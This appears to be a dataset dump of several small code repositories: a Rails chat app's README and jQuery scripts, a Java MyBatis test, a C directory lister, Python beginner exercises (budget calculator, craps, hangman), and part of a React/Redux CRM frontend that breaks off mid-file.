branch_name stringclasses 149 values | text stringlengths 23 89.3M | directory_id stringlengths 40 40 | languages listlengths 1 19 | num_files int64 1 11.8k | repo_language stringclasses 38 values | repo_name stringlengths 6 114 | revision_id stringlengths 40 40 | snapshot_id stringlengths 40 40 |
|---|---|---|---|---|---|---|---|---|
refs/heads/master | <repo_name>yusukeminako/chate-app<file_sep>/README.md
# README
## NAME
PAPA-CHAT 〜パパも子育ても頑張ります!〜
## PAPA-CHATとは
パパの子育て意見交換ができるchatサイトである。グループごとにchatで意見交換が可能である。
## デプロイ先
https://papachat.herokuapp.com/
## ページ紹介
・TOPページ<br>
・新規登録、ログイン、ログアウト機能<br>
・chat機能<br>
・インクリメンタルサーチ機能<br>
## 使用した機能、技術
gem 'rails, ~> 5.0.7, >= 5.0.7.2'<br>
gem 'mysql2, >= 0.3.18, < 0.6.0'<br>
gem 'devise'<br>
gem 'font-awesome-sass'<br>
gem 'haml-rails'<br>
gem 'sass-rails, ~> 5.0'<br>
gem 'jquery-rails'<br>
gem jbuilder, ~> 2.5<br>
gem 'pry-rails'<br>
gem 'carrierwave'(画像のアップロード)<br>
gem 'mini_magick'(画像加工)<br>
# 各テーブル
## usersテーブル
|Column|Type|Options|
|------|----|null: false|
|email|string|null: false|
|password|string|null: false|
|nickname|string|index: true|
### Association
- has_many :groups, through: :groups_users
- has_many :groups_users
- has_many :messages
## groupテーブル
|Column|Type|Options|
|------|----|null: false|
|name|string|null: false|
### Association
- has_many :users, through: :groups_users
- has_many :groups_users
- has_many :messages
## groups_usersテーブル
|Column|Type|Options|
|------|----|-------|
|user|references|null: false, foreign_key: true|
|group|references|null: false, foreign_key: true|
### Association
- belongs_to :group
- belongs_to :user
## messageテーブル
|Column|Type|Options|
|------|----|-------|
|body|text|-------|
|image|text|-------|
|user|references|null: false, foreign_key: true|
|group|references|null: false, foreign_key: true|
### Association
- belongs_to :user
- belongs_to :group
<file_sep>/app/assets/javascripts/top.js
$(document).ready(function() {
$.fn.autoChanger = function() {
var timeout = 3000;
var speed = 0000;
var element = $(this).children();
// var length = $(this).children().length;
var current = 0;
var next = 1;
$(element).hide();
$(element[0]).show();
var change = function(){
$(element[current]).fadeOut(speed);
$(element[next]).fadeIn(speed);
if ((next + 1) < element.length) {
current = next;
next++;
timeout = 3000;
} else {
current = element.length - 1;
next = 0;
timeout = 10000;
}
timer = setTimeout(function() { change(); }, timeout);
};
var timer = setTimeout(function() { change(); }, timeout);
}
$(function() {
$('#header-images').autoChanger();
});
});<file_sep>/app/assets/javascripts/main-button.js
$(function(){
$(".main-button").click(function(){
if(!input_check()){
return false;
}
});
});
function input_check(){
var result = true;
// 入力エラー文をリセット
$(".main-button").empty();
// // 入力内容セット
// var papachat = $(".main-button").val();
// // 入力内容チェック
//名前
if(is_user_logged_in()){
$(".main-button").html(" *ログインが必要です。");
// console.log('.main-button');
result = false;
}
};<file_sep>/app/assets/javascripts/message.js
$(function(){
function buildHTML(message){
// 「もしメッセージに画像が含まれていたら」という条件式
if( message.image ){ //メッセージに画像が含まれる場合のHTMLを作る
var html =
`<div class="main-center__box">
<div class="main-center__box__user-name">
${message.user_name}
</div>
<div class="main-cebter__box__date">
${message.created_at}
</div>
<div class="main-center__content">
<p class="lower-message__content">
${message.content}
</p>
</div>
<img src=${message.image} >
</div>`
return html;
}else{
var html =
`<div class="main-center__box">
<div class="main-center__box__user-name">
${message.user_name}
</div>
<div class="main-cebter__box__date">
${message.created_at}
</div>
<div class="main-center__content">
<p class="lower-message__content">
${message.content}
</p>
</div>
</div>`
return html;
};
}
$('#new_message').on('submit', function(e){
// console.log('.new_message')
e.preventDefault()
var formData = new FormData(this);
var url = $(this).attr('action');
$.ajax({
url: url,
type: "POST",
data: formData,
dataType: 'json',
processData: false,
contentType: false
})
.done(function(data){
var html = buildHTML(data);
$('.new_message')[0].reset();
$('.main-center').append(html);
$('.main-center').animate({scrollTop: $('.main-center')[0].scrollHeight});
// disabled ボタン要素が押せなくなる、押せるようにしたいのでfalse
$('.main-bottom__right').prop('disabled', false);
})
.fail(function(){
alert("メッセージ送信に失敗しました");
});
})
}); | fcfa112df6a2c7406fdcee5113d06468a55ede0a | [
"Markdown",
"JavaScript"
] | 4 | Markdown | yusukeminako/chate-app | 90e192ab89e21e7be0cb6d2fe3fa0d364e86bd49 | 563ff7406dcf72a2e7ba200f0bfa3832413fbbf9 |
refs/heads/master | <file_sep>driver=com.mysql.jdbc.Driver
url=jdbc:mysql:///mybatis01
username=root
password=<PASSWORD>
<file_sep>package b_crud.test;
import org.junit.Test;
import b_crud.dao.UserDao;
import b_crud.entity.User;
public class TestUserDao {
@Test
public void test() {
UserDao dao = new UserDao();
dao.addUser1();
}
@Test
public void test2() {
UserDao dao = new UserDao();
//User user = new User();
}
@Test
public void test3() {
UserDao dao = new UserDao();
dao.delete(1);
}
@Test
public void test4() {
UserDao dao = new UserDao();
dao.findUserById(1);
}
}
| fcabe2c23a913bfd399069975c46817984d45cbc | [
"Java",
"INI"
] | 2 | INI | zhaotiantian-svg/mystore | 577057810a45d2d9407dc177da1d609434e5cba2 | 870ee5fabab6428cabba2172e8ef4cf4920f3468 |
refs/heads/main | <repo_name>rizki495/ujian-fsd<file_sep>/src/App.js
import logo from './logo.svg';
import './App.css';
function App() {
return (
<div className="App">
<h1> Bilangan </h1>
<input type="text"></input>
<select>
<option>Basis 5</option>
<option>Basis 8 (oktal)</option>
<option>Basis 12</option>
<option>Basis 16 (heaxadecimal)</option>
<option>Terbilang</option>
</select>
<hr/>
</div>
);
}
export default App;
| 3259cd474782f7b0d3ff1f222fbe28b341a22500 | [
"JavaScript"
] | 1 | JavaScript | rizki495/ujian-fsd | 5cb01d7d2fb9b623eefe41f27274eff26b41b522 | ff34930d0978302c93b8a3ef004dd6632b17e743 |
refs/heads/master | <file_sep>#Email: <EMAIL>
#Name: <NAME>
#ID: 3578411
#Description: This program is a budget calculator. It will help you calculate
# your monthly budget by asking you estimated values for monthly
# spending.
# print a welcome message
print("Author: <NAME> <<EMAIL>>")
print("\nThis is a budget calculator program. It will help you calculate\
\nyour monthly budget")
# Get the user's name
name = input("\nEnter your name: ")
# Display a personalized greeting
print("\nHello " + name + "\n")
print("You may enter non-integers for the following inputs.")
print("EXAMPLE => Food: $525.67")
print("EXAMPLE => Regular hours: 160.5\n")
# Values entered as dollar amounts
hourly_rate = float(input("Hourly rate: $")) # hourly rate
overtime_rate = float(input("Overtime rate: $")) # overtime rate per hour
regular_hours = float(input("Regular hours: ")) # number of reguar hours worked
overtime_hours = float(input("Overtime hours: ")) # number of overtime hours worked
rent = float(input("Rent: $")) # cost of rent
food = float(input("Food: $")) # cost of food
entertainment = float(input("Entertainment: $")) # cost of entertainment
car = float(input("Car: $")) # cost of car
print("\nPlease enter the following values as percentages in decimal form.")
print("EXAMPLE => Electric bill: .02\n")
# Values entered as percentages
electric_p = float(input("Electric bill: ")) # cost of electric bill
water_p = float(input("Water bill: ")) # cost of water bill
sewer_p = float(input("Sewer bill: ")) # cost of sewer bill
gas_p = float(input("Gas bill: ")) # cost of gas bill
# Print the name, value and type of each variable
print("\nVariables Details:")
print("Name: hourly_rate Value: ", hourly_rate, "Type: ", type(hourly_rate))
print("Name: overtime_rate Value: ", overtime_rate, "Type: ", type(overtime_rate))
print("Name: regular_hours Value: ", regular_hours, "Type: ", type(regular_hours))
print("Name: overtime_hours Value: ", overtime_hours, "Type: ", type(overtime_hours))
print("Name: rent Value: ", rent, "Type: ", type(rent))
print("Name: electric_p Value: ", electric_p, "Type: ", type(electric_p))
print("Name: water_p Value: ", water_p, "Type: ", type(water_p))
print("Name: sewer_p Value: ", sewer_p, "Type: ", type(sewer_p))
print("Name: gas_p Value: ", gas_p, "Type: ", type(gas_p))
print("Name: food Value: ", food, "Type: ", type(food))
print("Name: entertainment Value: ", entertainment, "Type: ", type(entertainment))
print("Name: car Value: ", car, "Type: ", type(car))
<file_sep>#Email: <EMAIL>
#Name: <NAME>
#ID: 3578411
#Date: 2/19/2014
#Description: This program is the game of craps!
import random
user_name = input("Enter your name: "); #Get the user's name
print("\nWelcome " + user_name + "!"); #Print a nice welcome message
print("This game of craps was written by <NAME> <<EMAIL>>\n") #Tell 'em who write this!
print("Instructions:"); #Display the instructions!
print("A new shooter (player) begins his roll. This is known as the come out " +
"roll. If the shooter rolls a 7 or 11 you win. If the shooter rolls a 2, " +
"3 or 12, you lose. If the shooter rolls any other number, that number " +
"becomes the point number. The shooter must roll that number again before " +
"a seven is rolled. If that happens, you win. If a seven is rolled before " +
"the point number is rolled again, you lose. ");
game_over = False; # Boolean flag used to keep the game running
shooter_roll = random.randint(1,12) # Roll the dice
print("\nShooter rolls: ", shooter_roll);
# Player wins if the computer rolls 7 or 11
if (shooter_roll == 7 or shooter_roll == 11):
game_over = True;
print("Congrats, you win!");
# Computer wins if it rolls 2, 3 or 12
elif (shooter_roll == 2 or shooter_roll == 3 or shooter_roll == 12):
game_over = True;
print("Sorry, you lose!");
# The point number becomes the roll
else:
point_number = shooter_roll;
print("The point number is: ", point_number);
# While the game is not over, keep rollin'
while (not game_over):
roll = random.randint(1,12)
print("Roll: ", roll);
# If the computer rolls the point number, player wins!
if (roll == point_number):
game_over = True;
print("Congrats, you win!");
# If the computer rolls 7, the computer wins!
if (roll == 7):
game_over = True;
print("Sorry, you lose!");
# Print a nice message to thank the user for playing
print("Thanks for playing", user_name,"!");
<file_sep>#Email: <EMAIL>
#Name: <NAME>
#ID: 3578411
#Description: This program is a budget calculator. It will help you calculate
# your monthly budget by asking you estimated values for monthly
# spending.
hourly_rate = 44 # rate per hour
overtime_rate = 66 # overtime rate per hour
regular_hours = 160 # number of reguar hours worked
overtime_hours = 20 # number of overtime hours worked
rent = 550 # cost of rent
electric_bill_percentage = .02 # cost of electric bill
water_bill_percentage = .02 # cost of water bill
sewer_bill_percentage = .01 # cost of sewer bill
gas_bill_percentage = .01 # cost of gas bill
food = 450 # cost of food
entertainment = 300 # cost of entertainment
car = 300 # cost of car
# Print the name, value and type of each variable
print("Variables Details:\n")
print("Name: hourly_rate Value: ", hourly_rate, "Type: ", type(hourly_rate))
print("Name: overtime_rate Value: ", overtime_rate, "Type: ", \
type(overtime_rate))
print("Name: regular_hours Value: ", regular_hours, "Type: ", \
type(regular_hours))
print("Name: overtime_hours Value: ", overtime_hours, "Type: ", \
type(overtime_hours))
print("Name: rent Value: ", rent, "Type: ", type(rent))
print("Name: electric_bill_percentage Value: ", electric_bill_percentage,\
"Type: ", type(electric_bill_percentage))
print("Name: water_bill_percentage Value: ", water_bill_percentage, "Type: ", \
type(water_bill_percentage))
print("Name: sewer_bill_percentage Value: ", sewer_bill_percentage, "Type: ",\
type(sewer_bill_percentage))
print("Name: gas_bill_percentage Value: ", gas_bill_percentage, "Type: ", \
type(gas_bill_percentage))
print("Name: food Value: ", food, "Type: ", type(food))
print("Name: entertainment Value: ", entertainment, "Type: ", \
type(entertainment))
print("Name: car Value: ", car, "Type: ", type(car))
<file_sep>#Email: <EMAIL>
#Name: <NAME>
#ID: 3578411
#Date: 4/15/2014
#Description: This is a Dice object that can be used for games etc...
import random
class dice:
def roll(): # Roll the dice
return random.randint(1,6);
<file_sep>#Email: <EMAIL>
#Name: <NAME>
#ID: 3578411
#Date: 2/19/2014
#Description: This program is the game of craps!
from dice import *
from valid_input import *
def welcome():
user_name = input("Enter your name: "); #Get the user's name
print("\nWelcome " + user_name + "!"); #Print a nice welcome message
print("This game of craps was written by <NAME> <<EMAIL>>\n") #Tell 'em who write this!
print("Instructions:"); #Display the instructions!
print("A new shooter (player) begins his roll. This is known as the come out " +
"roll. If the shooter rolls a 7 or 11 you win. If the shooter rolls a 2, " +
"3 or 12, you lose. If the shooter rolls any other number, that number " +
"becomes the point number. The shooter must roll that number again before " +
"a seven is rolled. If that happens, you win. If a seven is rolled before " +
"the point number is rolled again, you lose. ");
times_to_play = 0
times_to_play = valid_input.get_int("\nHow many times do you wanna play?: ");
return user_name, times_to_play;
def main():
user_name, times_to_play = welcome()
times_played = 0;
while (times_played <= times_to_play):
game_over = False; # Boolean flag used to keep the game running
shooter_roll = dice.roll() + dice.roll();
print("\nShooter rolls: ", shooter_roll);
# Player wins if the computer rolls 7 or 11
if (shooter_roll == 7 or shooter_roll == 11):
game_over = True;
print("Congrats, you win!");
# Computer wins if it rolls 2, 3 or 12
elif (shooter_roll == 2 or shooter_roll == 3 or shooter_roll == 12):
game_over = True;
print("Sorry, you lose!");
# The point number becomes the roll
else:
point_number = shooter_roll;
print("The point number is: ", point_number);
# While the game is not over, keep rollin'
while (not game_over):
roll = dice.roll() + dice.roll();
print("Roll: ", roll);
# If the computer rolls the point number, player wins!
if (roll == point_number):
game_over = True;
print("Congrats, you win!");
# If the computer rolls 7, the computer wins!
if (roll == 7):
game_over = True;
print("Sorry, you lose!");
times_played += 1;
# Print a nice message to thank the user for playing
print("Thanks for playing", user_name,"!");
main();
<file_sep>#Author: <NAME> <<EMAIL>>
#ID: 3578411
#Description: This program is a simple game of hangman.
import sys
def game_over(word):
print("\nYou lose but thanks for playing.")
print("The word was \"" + word + "\"")
sys.exit(0)
def print_man(wrong_guesses):
if (wrong_guesses > 6 or wrong_guesses < 0):
print("ERROR in print_man(int)")
print("System exiting...")
sys.exit(1)
print("\n-----|")
if wrong_guesses == 1:
print(" ('_')")
elif wrong_guesses == 2:
print(" ('_')")
print(" |")
elif wrong_guesses == 3:
print(" ('_')")
print(" -|")
elif wrong_guesses == 4:
print(" ('_')")
print(" -|-")
elif wrong_guesses == 5:
print(" ('_')")
print(" -|-")
print(" /")
elif wrong_guesses == 6:
print(" ('_')")
print(" -|-")
print(" / \\")
def user_input(letters):
user_guess = input("\nGuess a letter: ")
while ( len(user_guess) != 1
or not user_guess.isalpha()
or user_guess in letters):
if (not user_guess.isalpha()):
print("You must enter a letter as a guess. Try again.")
elif (len(user_guess) > 1):
print("You can only enter a 1 letter guess. Try again.")
elif (user_guess in letters):
print("You already guessed '" + user_guess + "' before.")
user_guess = input("Guess a letter: ")
return user_guess.lower()
def main():
word = list("balls")
guess = list("")
wrong_guesses = 0;
guessed_letters = list()
for letter in word:
guess += "_"
while "_" in guess:
if (not guessed_letters):
print("The word has " + str(len(word)) + " letters.")
else:
print("\nYour guess so far: " + "".join(guess))
user_guess = user_input(guessed_letters)
guessed_letters.append(user_guess)
if user_guess in word:
print("Good guess! The letter '" + user_guess + "' is in the word")
for i, letter in enumerate(word):
if letter == user_guess:
guess[i] = user_guess
else:
wrong_guesses += 1
print("Sorry, the letter '" + user_guess + "' is not in the word.")
print_man(wrong_guesses)
if wrong_guesses == 6:
game_over("".join(word))
print("\nCongrats! You win. The word was " + "".join(word))
main()
<file_sep>#Email: <EMAIL>
#Name: <NAME>
#ID: 3578411
#Description: This program is a budget calculator. It will help you calculate
# your monthly budget by asking you estimated values for monthly
# spending.
print("Author: <NAME> <<EMAIL>>")
print("\nThis is a budget calculator program. It will help you calculate\
\nyour monthly budget")
<file_sep>#Email: <EMAIL>
#Name: <NAME>
#ID: 3578411
#Description: This program is a budget calculator. It will help you calculate
# your monthly budget by asking you estimated values for monthly
# spending.
# print a welcome message
print("Author: <NAME> <<EMAIL>>")
print("\nThis is a budget calculator program. It will help you calculate\
\nyour monthly budget")
# Get the user's name
name = input("\nEnter your name: ")
# Display a personalized greeting
print("\nHello " + name)
<file_sep>cs0008
======
Introduction to Computer Science w/ Python at the University of Pittsburgh taught by <NAME>
<file_sep>#Email: <EMAIL>
#Name: <NAME>
#ID: 3578411
#Date: 4/15/2014
#Description: This class enures that valid input is returned
class valid_input:
def get_int(msg = "Enter an integer: "):
num = int(input(msg));
return num;
<file_sep>#Email: <EMAIL>
#Name: <NAME>
#ID: 3578411
#Date: 2/19/2014
#Description: This program is the game of craps!
import random
user_name = input("Enter your name: "); #Get the user's name
print("\nWelcome " + user_name + "!"); #Print a nice welcome message
print("This game of craps was written by <NAME> <<EMAIL>>\n") #Tell 'em who write this!
print("Instructions:"); #Display the instructions!
print("A new shooter (player) begins his roll. This is known as the come out " +
"roll. If the shooter rolls a 7 or 11 you win. If the shooter rolls a 2, " +
"3 or 12, you lose. If the shooter rolls any other number, that number " +
"becomes the point number. The shooter must roll that number again before " +
"a seven is rolled. If that happens, you win. If a seven is rolled before " +
"the point number is rolled again, you lose. ");
| c3066292a71288b0b2597e6cc89000603d16412e | [
"Markdown",
"Python"
] | 11 | Python | valleyjo/cs0008 | fa9b0181b268626250c241c7e4c08c99b4483acf | db6727f02d7543a047bb522ee34c8be4d2a6715f |
refs/heads/master | <repo_name>jmdatkin/sys-work-5<file_sep>/README.md
# sys-work-5
dirinfo
<file_sep>/main.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <dirent.h>
#include <sys/types.h>
#include <sys/stat.h>
void printDirInfoR(DIR* dir)
{
struct dirent *entry;
struct stat statfile;
while((entry = readdir(dir))) {
stat(entry->d_name,&statfile);
if (S_ISREG(statfile.st_mode))
printf("(file) %s\n",entry->d_name);
else
printf("(dir) %s\n",entry->d_name);
}
}
int main()
{
char path[] = ".";
DIR* dir = opendir(path);
printf("\nDirectory Info of %s:\n",path);
printDirInfoR(dir);
closedir(dir);
return 0;
}
<file_sep>/makefile
dirinfo: main.c
gcc -o dirinfo main.c
run: dirinfo
./dirinfo
clean:
rm *~
| eb0af74583e671aee7cc6773fd3a76fc82c41f77 | [
"Markdown",
"C",
"Makefile"
] | 3 | Markdown | jmdatkin/sys-work-5 | f61609665fb0cdd6c5c6b719c007d38f75c1743e | 9fe2b18f70b01a05112c084a91f082388576f29a |
refs/heads/master | <repo_name>fraxachun/se-crm<file_sep>/src/components/comments/index.jsx
import React from 'react';
import CommentsList from './List';
import AppTopBar from '../common/AppTopBar';
const Controller = () => (
<div>
<AppTopBar title="Kommentare" color="secondary" />
<CommentsList />
</div>
);
export default Controller;
<file_sep>/src/components/common/Loading.jsx
import React from 'react';
import PropTypes from 'prop-types';
import { CircularProgress } from 'material-ui/Progress';
const Loading = ({ color }) => (
<div style={{ textAlign: 'center', marginTop: 200 }}>
<CircularProgress
size={60}
thickness={4}
color={color}
/>
</div>
);
Loading.propTypes = {
color: PropTypes.string,
};
Loading.defaultProps = {
color: 'primary',
};
export default Loading;
<file_sep>/src/store/persons/reducer.js
import { createReducerAsync } from 'redux-act-async';
import { combineReducers } from 'redux';
import { fetchPersons } from './actions';
const defaultValues = {
loading: false,
request: null,
data: [],
error: null,
};
export default combineReducers({
persons: createReducerAsync(fetchPersons, defaultValues),
});
<file_sep>/src/store/comments/reducer.js
import { createReducerAsync } from 'redux-act-async';
import { combineReducers } from 'redux';
import { fetchComments, addComment } from './actions';
export default combineReducers({
comments: createReducerAsync(fetchComments),
addComment: createReducerAsync(addComment),
});
<file_sep>/src/components/common/AppTopBar.jsx
import React from 'react';
import PropTypes from 'prop-types';
import AppBar from 'material-ui/AppBar';
import Toolbar from 'material-ui/Toolbar';
import Typography from 'material-ui/Typography';
const AppTopBar = ({ title, color }) => (
<AppBar position="sticky" color={color}>
<Toolbar>
<Typography variant="title" color="inherit">
{title}
</Typography>
</Toolbar>
</AppBar>
);
AppTopBar.propTypes = {
title: PropTypes.string.isRequired,
color: PropTypes.string,
};
AppTopBar.defaultProps = {
color: 'primary',
};
export default AppTopBar;
<file_sep>/src/store/user/actions.jsx
import { createAction } from 'redux-act';
import { createActionAsync } from 'redux-act-async';
import httpClient from '../httpClient';
const authenticate = createAction('authenticate');
const login = createActionAsync(
'login',
(user, password) => httpClient
.post('/login', { user, password })
.then((res) => {
httpClient.defaults.headers['X-JWT'] = res.data.jwt;
localStorage.setItem('user', res.data.jwt);
return res.data;
}),
);
const checkToken = createActionAsync(
'checkToken',
token => httpClient
.post('/login', { token })
.then((res) => {
localStorage.setItem('user', res.data.jwt);
return res.data;
}),
);
export {
login,
checkToken,
authenticate,
};
<file_sep>/src/components/comments/PropTypes.jsx
import PropTypes from 'prop-types';
export default {
propTypes: {
comment: PropTypes.string.isRequired,
date: PropTypes.string,
},
defaultProps: {
comment: {
comment: '',
date: '',
},
},
};
<file_sep>/src/components/common/Layout.jsx
import React from 'react';
import PropTypes from 'prop-types';
import Grid from 'material-ui/Grid';
const Layout = ({ children }) => (
<Grid container spacing={0} justify="center">
<Grid item xs={12} sm={8} md={6} xl={4}>
{ children }
</Grid>
</Grid>
);
Layout.propTypes = {
children: PropTypes.element.isRequired,
};
export default Layout;
<file_sep>/src/components/comments/Add.jsx
import React, { Component } from 'react';
import { connect } from 'react-redux';
import PropTypes from 'prop-types';
import Dialog, {
DialogActions,
DialogContent,
DialogTitle,
} from 'material-ui/Dialog';
import TextField from 'material-ui/TextField';
import Button from 'material-ui/Button';
import { addComment as addCommentAction } from '../../store/comments/actions';
import PersonPropTypes from '../persons/PropTypes';
import LocationPropTypes from '../locations/PropTypes';
class AddComment extends Component {
state = {
comment: '',
};
handleChange = name => event =>
this.setState({
[name]: event.target.value,
});
handleSubmit = (event) => {
event.preventDefault();
const values = {
comment: this.state.comment,
};
if (this.props.person) {
values.person_id = this.props.person.id;
}
if (this.props.location) {
values.location_id = this.props.location.id;
}
this.props.addComment(values);
this.props.handleClose();
};
render() {
return (
<Dialog open={this.props.open}>
<DialogTitle>Kommentar hinzufügen</DialogTitle>
<DialogContent>
<TextField
multiline
label="Text"
value={this.state.comment}
onChange={this.handleChange('comment')}
margin="normal"
/>
</DialogContent>
<DialogActions>
<Button onClick={this.props.handleClose} color="secondary">
Abbrechen
</Button>
<Button onClick={this.handleSubmit} color="secondary">
Speichern
</Button>
</DialogActions>
</Dialog>
);
}
}
AddComment.propTypes = {
person: PropTypes.shape(PersonPropTypes.propTypes),
location: PropTypes.shape(LocationPropTypes.propTypes),
open: PropTypes.bool.isRequired,
handleClose: PropTypes.func.isRequired,
addComment: PropTypes.func.isRequired,
};
AddComment.defaultProps = {
person: null,
location: null,
};
const mapDispatchToProps = dispatch => ({
addComment: (values) => { dispatch(addCommentAction(values)); },
});
export default connect(null, mapDispatchToProps)(AddComment);
<file_sep>/src/App.jsx
import React from 'react';
import ReactDOM from 'react-dom';
import { Provider } from 'react-redux';
// eslint-disable-next-line import/extensions
import 'typeface-roboto';
import { MuiThemeProvider, createMuiTheme } from 'material-ui/styles';
import Init from './components/Init';
import configureStore from './store';
const theme = createMuiTheme({
palette: {
primary: {
light: '#cbff65',
main: '#96d82f',
dark: '#62a600',
contrastText: '#FFF',
},
secondary: {
light: '#67daff',
main: '#03a9f4',
dark: '#007ac1',
contrastText: '#FFF',
},
},
});
const App = (config = {}) => {
const initialState = {};
const store = configureStore(initialState, config);
return (
<Provider store={store}>
<MuiThemeProvider theme={theme}>
<Init />
</MuiThemeProvider>
</Provider>
);
};
export default () => {
ReactDOM.render(<App />, document.getElementById('root'));
};
<file_sep>/src/components/comments/List.jsx
import React, { Component } from 'react';
import PropTypes from 'prop-types';
import { connect } from 'react-redux';
import Card, { CardHeader, CardContent } from 'material-ui/Card';
import Avatar from 'material-ui/Avatar';
import Typography from 'material-ui/Typography';
import { fetchComments as fetchCommentsAction } from '../../store/comments/actions';
import CommentPropTypes from './PropTypes';
import PersonPropTypes from '../persons/PropTypes';
import LocationPropTypes from '../locations/PropTypes';
import AddComment from './Add';
import getPersonName from '../util';
import Loading from '../common/Loading';
import AddButton from '../common/AddButton';
const Comment = ({
comment: {
date, comment, user_name: user, location_name: location, person_name: person,
},
}) => {
const words = user.split(' ');
const avatar = words[0].substr(0, 1) + words[1].substr(0, 1);
let color = null;
switch (avatar) {
case 'FU': color = '#795548'; break;
case 'BU': color = '#2196F3'; break;
case 'KS': color = '#4CAF50'; break;
case 'CN': color = '#F44336'; break;
case 'GS': color = '#FF9800'; break;
default: color = '#607D8B'; break;
}
const style = { backgroundColor: color };
const text = comment.split('\n').map((line, key) =>
<span key={key}>{line}<br /></span>); // eslint-disable-line react/no-array-index-key
return (
<Card>
<CardHeader
avatar={<Avatar style={style}>{avatar}</Avatar>}
title={getPersonName(person, location)}
subheader={date}
/>
<CardContent>
<Typography>{ text }</Typography>
</CardContent>
</Card>
);
};
Comment.propTypes = {
comment: PropTypes.shape(CommentPropTypes.propTypes).isRequired,
};
class Comments extends Component {
constructor(props) {
super(props);
this.state = {
showDialog: false,
};
}
componentDidMount() {
const params = {};
if (this.props.person) {
params.personId = this.props.person.id;
}
if (this.props.location) {
params.locationId = this.props.location.id;
}
this.props.fetchComments(params);
}
handleClick = (event) => {
event.preventDefault();
this.setState({
showDialog: true,
});
}
hideDialog = () => {
this.setState({
showDialog: false,
});
}
render() {
const { loading, comments } = this.props;
if (loading) {
return <Loading color="secondary" />;
}
return (
<div>
{comments.map(comment => <Comment key={comment.id} comment={comment} />)}
<AddComment
open={this.state.showDialog}
handleClose={this.hideDialog}
person={this.props.person}
location={this.props.location}
/>
<AddButton
color="secondary"
onClick={this.handleClick}
/>
</div>
);
}
}
Comments.propTypes = {
person: PropTypes.shape(PersonPropTypes.propTypes),
location: PropTypes.shape(LocationPropTypes.propTypes),
comments: PropTypes.arrayOf(PropTypes.shape(CommentPropTypes.propTypes)),
loading: PropTypes.bool.isRequired,
fetchComments: PropTypes.func.isRequired,
};
Comments.defaultProps = {
person: null,
location: null,
comments: [],
};
const mapStateToProps = state => ({
comments: state.comments.comments.data ? state.comments.comments.data : [],
loading: state.comments.comments.loading,
});
const mapDispatchToProps = dispatch => ({
fetchComments: params => dispatch(fetchCommentsAction(params)),
});
export default connect(mapStateToProps, mapDispatchToProps)(Comments);
<file_sep>/src/components/persons/List.jsx
import React, { Component } from 'react';
import PropTypes from 'prop-types';
import { connect } from 'react-redux';
import Card, { CardHeader, CardActions } from 'material-ui/Card';
import Avatar from 'material-ui/Avatar';
import Button from 'material-ui/Button';
import Select from 'material-ui/Select';
import { MenuItem } from 'material-ui/Menu';
import TextField from 'material-ui/TextField';
import { InputAdornment } from 'material-ui/Input';
import SearchIcon from 'material-ui-icons/Search';
import SwapVertIcon from 'material-ui-icons/SwapVert';
import EditPerson from './Edit';
import ShowPerson from './Show';
import PersonPropTypes from './PropTypes';
import getPersonName from '../util';
import AddButton from '../common/AddButton';
import Loading from '../common/Loading';
import FullScreenDialog from '../common/FullScreenDialog';
class PersonsList extends Component {
state = {
order: 'email',
search: '',
editPerson: null,
showPerson: null,
addPerson: false,
};
handleEdit = person => () =>
this.setState({ editPerson: person });
handleShow = person => () =>
this.setState({ showPerson: person });
handleAdd = () =>
this.setState({ addPerson: true });
handleClose = () =>
this.setState({
editPerson: null,
showPerson: null,
addPerson: false,
});
handleOrder = event =>
this.setState({ order: event.target.value });
handleSearch = event =>
this.setState({ search: event.target.value });
render() {
const { loading } = this.props;
let { persons } = this.props;
const {
order, search, editPerson, showPerson, addPerson,
} = this.state;
if (search) {
persons = persons.filter(person =>
person.fullname.toLowerCase().indexOf(search) !== -1);
}
if (loading) {
return <Loading />;
}
return (
<div>
{addPerson &&
<FullScreenDialog title="Person Hinzufügen" handleClose={this.handleClose} color="primary">
<EditPerson handleClose={this.handleClose} />
</FullScreenDialog>
}
{editPerson &&
<FullScreenDialog title={editPerson.name} handleClose={this.handleClose} color="primary">
<EditPerson person={editPerson} handleClose={this.handleClose} />
</FullScreenDialog>
}
{showPerson &&
<FullScreenDialog title="Details" handleClose={this.handleClose}>
<ShowPerson person={showPerson} handleClose={this.handleClose} />
</FullScreenDialog>
}
<div style={{
position: 'sticky', top: 56, background: 'white', zIndex: 1050,
}}
>
<Card>
<Select
value={order}
onChange={this.handleOrder}
name="Sortierung"
style={{ width: 140, marginLeft: 20, marginRight: 20 }}
startAdornment={<InputAdornment position="start"><SwapVertIcon /></InputAdornment>}
>
<MenuItem value="email">E-Mail</MenuItem>
<MenuItem value="firstname">Vorname</MenuItem>
<MenuItem value="lastname">Nachname</MenuItem>
</Select>
<TextField
InputProps={{
startAdornment: (
<InputAdornment position="start"><SearchIcon /></InputAdornment>
),
}}
id="search"
type="search"
margin="normal"
value={search}
onChange={this.handleSearch}
style={{ width: 170 }}
/>
</Card>
</div>
<div>
{persons.map(person => (
<Card key={person.id}>
<CardHeader
avatar={<Avatar>{person.comments_count}</Avatar>}
title={getPersonName(person.name, person.location_name)}
subheader={person.email}
/>
<CardActions>
<Button
size="small"
color="primary"
style={{ marginLeft: 'auto' }}
onClick={this.handleEdit(person)}
>
Bearbeiten
</Button>
<Button
size="small"
color="secondary"
onClick={this.handleShow(person)}
>
Kommentare
</Button>
</CardActions>
</Card>
))}
</div>
<AddButton bottom="75px" onClick={this.handleAdd} />
</div>
);
}
}
PersonsList.propTypes = {
persons: PropTypes.arrayOf(PropTypes.shape(PersonPropTypes.propTypes)).isRequired,
loading: PropTypes.bool.isRequired,
};
const mapStateToProps = state => ({
persons: state.persons.persons.data,
loading: state.persons.persons.loading,
});
export default connect(mapStateToProps)(PersonsList);
<file_sep>/src/store/index.jsx
import { createStore, applyMiddleware, compose } from 'redux';
import createMiddlewares from './middlewares';
import rootReducer from './rootReducer';
export default (initialState, config) => {
const middlewares = createMiddlewares(config);
let enhancer;
if (process.env.NODE_ENV !== 'production') {
enhancer = window.__REDUX_DEVTOOLS_EXTENSION_COMPOSE__ || compose;
} else {
enhancer = compose;
}
const store = createStore(
rootReducer,
initialState,
enhancer(applyMiddleware(...middlewares)),
);
return store;
};
<file_sep>/src/components/Tabs.jsx
import React, { Component } from 'react';
import BottomNavigation, { BottomNavigationAction } from 'material-ui/BottomNavigation';
import RestoreIcon from 'material-ui-icons/Restore';
import PersonIcon from 'material-ui-icons/Person';
import LocationOnIcon from 'material-ui-icons/Domain';
import Persons from './persons';
import Comments from './comments';
import Locations from './locations';
class AppTabs extends Component {
state = {
